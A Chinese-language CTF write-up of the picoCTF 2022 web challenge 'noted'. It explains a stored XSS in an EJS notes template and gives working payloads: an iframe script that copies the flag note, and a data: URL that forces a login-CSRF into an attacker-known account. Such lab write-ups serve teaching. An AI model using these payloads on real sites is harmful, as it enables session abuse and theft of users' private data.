picoCTF-2022-复盘

  1. WEB
    1. noted

WEB

noted

​ 题目给的是一个备忘录网站,创建用户后即可创建备忘录条目,同时还实现了一个bot,即用户提交网站后会被服务器端用chrome打开并访问。可以注意到,每一次在/repot提交url时,服务器都会先随机注册一个账号然后提交flag到备忘录,随后再访问用户提交的url。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
let page = (await browser.pages())[0]

await page.goto('http://0.0.0.0:8080/register');
await page.type('[name="username"]', crypto.randomBytes(8).toString('hex'));
await page.type('[name="password"]', crypto.randomBytes(8).toString('hex'));

await Promise.all([
page.click('[type="submit"]'),
page.waitForNavigation({ waituntil: 'domcontentloaded' })
]);

await page.goto('http://0.0.0.0:8080/new');
await page.type('[name="title"]', 'flag');
await page.type('[name="content"]', process.env.FLAG ?? 'ctf{flag}');

await Promise.all([
page.click('[type="submit"]'),
page.waitForNavigation({ waituntil: 'domcontentloaded' })
]);

await page.goto('about:blank')
await page.goto(url);
await page.waitForTimeout(7500);

await browser.close();

这里的bot是基于puppeteer实现的,页面访问使用的是page.gotopage.goto(url[, options])这个方法不仅可以直接类似于http://这类链接,而且还可以使用伪协议,类似于page.goto(data:text/html,自定义内容),那么我们就可以在这里动手,直接让服务器把flag发送到我们自己的vps是。但是,答案是否定的,因为服务器端的账户并不能访问外网,这个方法是行不通的。

​ 我们继续看一下views文件夹下的.ejs模板文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>noted | my notes</title>
<%- include('style') %>
</head>
<body>
<h1>My Notes</h1>
<hr>
<% for (let note of notes) { %>
<div>
<h2><%- note.title %></h2>
<p><%- note.content %></p>
<form action="/delete" method="POST">
<input type="hidden" name="_csrf" value="<%- csrf %>">
<input type="hidden" name="id" value="<%- note.id %>">
<input type="submit" value="Delete">
</form>
</div>
<hr>
<% } %>
<br>
<a href='/new'>New Note</a> | <a href='/report'>Report</a>
</body>
</html>

模板中note.title和note.content都是直接填充,也就是说这里是存在存储型xss的。所以就可以让服务器登录我们已知密码的账号,然后将flag提交到已知密码账号的备忘录中,随后我们登录该账号即可获取到flag。攻击流程如下图:

首先现在/register页面注册账户:账号为a密码为a,然后提交以下self-XSS内容到/new页面

1
2
3
4
5
6
7
8
9
10
<iframe src="http://0.0.0.0:8080/new" id=ifra></iframe>
<script>
var flag = window.opener.document.body.textContent;
ifra.onload = () => {
ifra.onload = null;
ifra.contentDocument.forms[0].title.value = 'flag';
ifra.contentDocument.forms[0].content.value = flag;
ifra.contentDocument.forms[0].submit();
}
</script>

接着提交如下内容到/report

1
2
3
4
5
6
7
8
data:text/html,
<script>
window.location = "http://0.0.0.0:8080/notes";
a = window.open('', '');
a.document.body.innerHTML = `<form action="http://0.0.0.0:8080/login" method="post" name=xp id=xp target="_blank"><input type="text" name="username" value="a"><input type="text" name="password" value="a"></form>`;
a.document.xp.submit();
a.location.href = "http://0.0.0.0:8080/notes";
</script>

提交后等待几秒后再次访问已知密码的账户的/notes页面即可获取到flag


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 hututu1024@126.com